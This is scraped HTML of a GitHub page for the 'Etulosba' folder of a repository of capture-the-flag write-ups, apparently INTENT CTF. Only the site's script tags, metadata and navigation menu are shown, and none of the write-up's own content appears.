crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>INTENT-CTF-Writeup/Etulosba at main · noflowpls/INTENT-CTF-Writeup · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="E25F:1F9B:4CB0A02:4EC72E0:64121CA4" data-pjax-transient="true"/><meta name="html-safe-nonce" content="2a3b4daa7edfb978fada3bc47a66860831d34146a17144fb02e9edbba4269167" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFMjVGOjFGOUI6NENCMEEwMjo0RUM3MkUwOjY0MTIxQ0E0IiwidmlzaXRvcl9pZCI6IjEyMjQzOTczNzcwNjgyMTEzNjQiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="abe6804b91ffd2bb722d7bc34fe717a8f1a4a1388c9ce8cdded4dea133691580" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:428674070" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to noflowpls/INTENT-CTF-Writeup development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/0d552d2be6c983331bb6211981e287a664510aaf19bdc8a5cb52b0830c8dce8a/noflowpls/INTENT-CTF-Writeup" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="INTENT-CTF-Writeup/Etulosba at main · noflowpls/INTENT-CTF-Writeup" /><meta name="twitter:description" content="Contribute to noflowpls/INTENT-CTF-Writeup development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/0d552d2be6c983331bb6211981e287a664510aaf19bdc8a5cb52b0830c8dce8a/noflowpls/INTENT-CTF-Writeup" /><meta property="og:image:alt" content="Contribute to noflowpls/INTENT-CTF-Writeup development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="INTENT-CTF-Writeup/Etulosba at main · noflowpls/INTENT-CTF-Writeup" /><meta property="og:url" content="https://github.com/noflowpls/INTENT-CTF-Writeup" /><meta property="og:description" content="Contribute to noflowpls/INTENT-CTF-Writeup development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/noflowpls/INTENT-CTF-Writeup git https://github.com/noflowpls/INTENT-CTF-Writeup.git"> <meta name="octolytics-dimension-user_id" content="84136529" /><meta name="octolytics-dimension-user_login" content="noflowpls" /><meta name="octolytics-dimension-repository_id" content="428674070" /><meta name="octolytics-dimension-repository_nwo" content="noflowpls/INTENT-CTF-Writeup" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="428674070" /><meta name="octolytics-dimension-repository_network_root_nwo" content="noflowpls/INTENT-CTF-Writeup" /> <link rel="canonical" href="https://github.com/noflowpls/INTENT-CTF-Writeup/tree/main/Etulosba" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 